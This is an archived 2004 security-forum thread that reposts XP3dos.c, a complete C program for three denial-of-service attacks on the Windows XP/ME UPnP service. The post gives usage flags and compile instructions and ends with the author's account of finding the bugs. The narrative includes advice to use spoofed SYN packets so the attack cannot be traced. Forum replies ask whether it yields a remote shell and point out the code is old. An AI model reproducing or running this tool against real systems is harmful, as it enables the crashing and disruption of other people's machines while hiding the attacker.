Upnp, Again And Again. Different Code.

Full Version: Upnp, Again And Again. Different Code.

GovernmentSecurity.org > The Archives > Exploit Articles

what

Feb 22 2004, 11:59 PM

CODE

/*------------------------------- Snip here -----------------------------*/
/*-----------------------------------------------

XP3dos.c
Three WinXP/ME DOS Attacks
by 'ken' of FTU -- 10/23/01
franklin_tech_unlimited@yahoo.com

------------------------------------------------*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>

#define MAX 256
#define SS struct sockaddr

char *DISCOVER[] = {
"M-SEARCH * HTTP/1.1\r\n"
"HOST: 239.255.255.250:1900\r\n"
"MAN: \"ssdp:discover\"\r\n"
"MX: 5\n"
"ST: \"ssdp:all\"\r\n"
};

int main(int argc, char *argv[])
{

int socks[1024], i, k, num_of_socks, port;
struct sockaddr_in winxpbox;

char *ip;
char temp[10000];
char sploit[12000];
char buffer[MAX+1];

printf("\nThree WinXP/ME UPNP DOS Attacks");
printf("\nby 'ken' of FTU -- 10/23/01");
printf("\nfranklin_tech_unlimited@yahoo.com\n\n");

if(argc<3)
exit(print_opts());

ip=argv[1];
winxpbox.sin_family=AF_INET;
winxpbox.sin_addr.s_addr=inet_addr(ip);
winxpbox.sin_port=htons(5000);

if(strstr(argv[2],"-tf")){
num_of_socks = 1021;
}
else if(strstr(argv[2],"-dm")){
num_of_socks = 199;
}
else if(strstr(argv[2],"-ca")){
num_of_socks = 4;
}
else{
print_opts();
return 0;
}

/* build sockets */

for(k=0;k<=num_of_socks-1;k++){
printf("Creating socket #%i!\n",k+1);
socks[k]=socket(AF_INET,SOCK_STREAM,0);
if(socks[k]<0) exit(printf("Socket error\n"));
/* this line eliminates need to change format to do-while
and guarentees only one socket is created/referenced on the -ca flag*/
if(num_of_socks==4) break;
}

printf("\nTrying to Connect....\n");

for(k=0;k<num_of_socks-2;k++){
if((connect(socks[k],(struct sockaddr *) &winxpbox, sizeof(winxpbox)))<0)
exit(printf("Connection error: Socket #%i\n",k+1));

printf("Socket #%i Connected...!\n",k+1);
if(num_of_socks==4)break;
}

/********************************************************************/

if((strstr(argv[2],"ca")) || (strstr(argv[2],"dm"))){
sprintf(sploit,"%s",*DISCOVER);
printf("\nSending Header of Exploit!\n\n");
write(socks[0],sploit,strlen(sploit));

if(strstr(argv[2],"dm")){
printf("Building Exploit Code Now...!\n");
for(i=0;i<=9999;i++){
temp[i]='A';
}
for(k=1;k<=num_of_socks-4;k++){
write(socks[k],sploit,strlen(sploit));
}
for(i=0;i<=1999;i++){
for(k=0;k<=num_of_socks-4;k++){
sprintf(sploit,"%s%s",temp,temp);
printf("Attacking host with sploit! 20000 A's times %i:On Socket #%i\n",i+1,k+1);
write(socks[k],sploit,strlen(sploit));
}
}
}
}

/**********************************************************************/

/* send keystrokes saying we finished transmitting data */
for(k=0;k<=num_of_socks-4;k++){
sprintf(sploit,"\r\n\r\n");
printf("Sending Closing Keystrokes for Socket #%i\n",k+1);
write(socks[k],sploit,strlen(sploit));
if(num_of_socks==4) break;
}

/* Guess status */
/* 'ken': this code was for debugging. I left it in here... */

/***************************************
for(k=0;k<=num_of_socks-4;k++){
if(read(socks[k],buffer,sizeof(buffer))<0)
exit(printf("\n\nNo reply: machine crashed?\n\n"));
else
printf("%s",buffer);
printf("\n\nMachine replied: Failed to crash!\n\n");
}
***************************************/

/* close socket */

for(k=0;k<=num_of_socks-4;k++){
printf("Closing Socket #%i\n",k+1);
close(socks[k]);
if(num_of_socks==4) break;
}

printf("\nFinished DOSing WinXP/ME");
printf("\nHave a nice day! -'ken'\n\n");

return 0;
}

print_opts()
{

printf("\n **** WinXP/ME UPNP DOS Usage ****");
printf("\n<ip address of WinXP/ME box><exploit>");
printf("\n exploit choices:");
printf("\n -tf temporary freeze");
printf("\n -dm deplete memory");
printf("\n -ca crash application\n\n");

return;
}

/*------------------------------- Snip here -----------------------------*/
/* EOF */

QUOTE

Exploit Code
Compiled on Red Hat Linux 7.1.
Note that one of my tests is enhanced for the effect. I exaggerated the EIP scenario to really pump the server full of 'A' to reduce the computer's memory. To test for an overflow one would not need as many connections.
If I had time to improve this code I would change the section that makes 1000 simeltaneous connections. Given the nature of the problem I would send spoofed SYN packets to the affected host. This should adacquately simulate making a connection and should also have the same effect for reducing the affected machine's memory. The benefits of the packet construction would be that it should take up less resources on the attacker's machine and the attack would not be traceable with a spoofed IP address.
gcc XP3dos.c -o XP3dos

Research
I surfed back to Microsoft's Website for more information. Microsoft provided few clues to the product. Initially I found a page or two that listed, but did not explain, the files associated with program SSDPSRVexe. I also learned that SSDPSRV.exe is Microsoft's Universal Plug and Play technology applied to a network. In the future this will allow for seemless connectivity of various devices such as a printer or a network CD burner without the need to install a driver. So I searched more and found only one technical document relating to UPNP. It was enough! From this document I learned how to query the server and extract information. In fact the server is designed to give away information -- such as the devices and services enabled on the machine -- when requested. My first challenge presented itself: I would simply write a program to communicate with the server and extract information. Looking forward, I planned to create a suite of utilities to test the full functionality of the server as defined in the specification. I did not get that far.
After I created a simple program to enumerate all the devices on the machine, I pulled out my 10/100 Ethernet hub, connected my trusty 336Mhz Linux laptop to my parents 1.4Ghz WinME box and made the necessary configurations. I navigated to my recently complied program; rapidly typed the parameters and hit enter to send the request. Crash! I crashed Microsoft's server! It didn't even live up to the specifications they developed. At this point I realized two things: first, I just discovered a DOS attack. Second, the application probably had more bugs.
What is the ultimate bug leading to a compromise? A buffer overflow! Since WinME is a single user system arbitrary code will run as root! So, that's what I decided to test next. I pumped the server full of 'A' and hoped the application would crash with EIP equaling '41414141'. The application crashed but not due to an overflow. I also noted at this point that my little 336Mhz laptop could chew up 25% of the available resources of a 1.4Ghz machine before the application crashed again. Alas, I did not secure EIP but I found my second DOS.
At this point I wondered what else might be wrong with the application. Since this application was a server it was natural to ask if this server had a limitation on the number of concurrent connections? How many total open connections could the server handle at once?
I then revised my program for the third time to make as many simultaneous open connections as possible. Well, I made about 1000 open connections at once. I found I could knock the free memory to below 4% in approximately half a second. My third WinME DOS was as sweet as honey.
I decided to end my research and contact Microsoft. I knew I found at least two exploits because I could crash the application and drain the system's memory

Well, why not try it one more time. It's a little different, I'm going to go try to compile. Any feedback would be really great.

Pro21

Feb 23 2004, 12:01 AM

hum with this new method you can get a shell on remote computer ?

BuzzDee

Feb 23 2004, 12:10 AM

is it a new code or just the old one?

CODE

10/23/01

seems to be old huh?

buzzons

Feb 23 2004, 12:13 AM

nope// due to teh way UPNP works its probably imposible to get a shell via it

as you can see if you read all the info posted it says he tried to get it to run some code but it did not crash corectly .

Buz

Gangster*

Feb 23 2004, 08:18 AM

Gee.. Thanks for the info. Alot to read

Axl

Apr 4 2004, 09:30 AM

QUOTE (buzzons @ Feb 23 2004, 12:13 AM)

nope// due to teh way UPNP works its probably imposible to get a shell via it

as you can see if you read all the info posted it says he tried to get it to run some code but it did not crash corectly .

Buz

don't be too sure about that

nowhere

Apr 4 2004, 02:48 PM

QUOTE

XP3dos.c
Three WinXP/ME DOS Attacks
by 'ken' of FTU -- 10/23/01
franklin_tech_unlimited@yahoo.com

old, old, old!!!!!!!!!!!!!!!!!

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.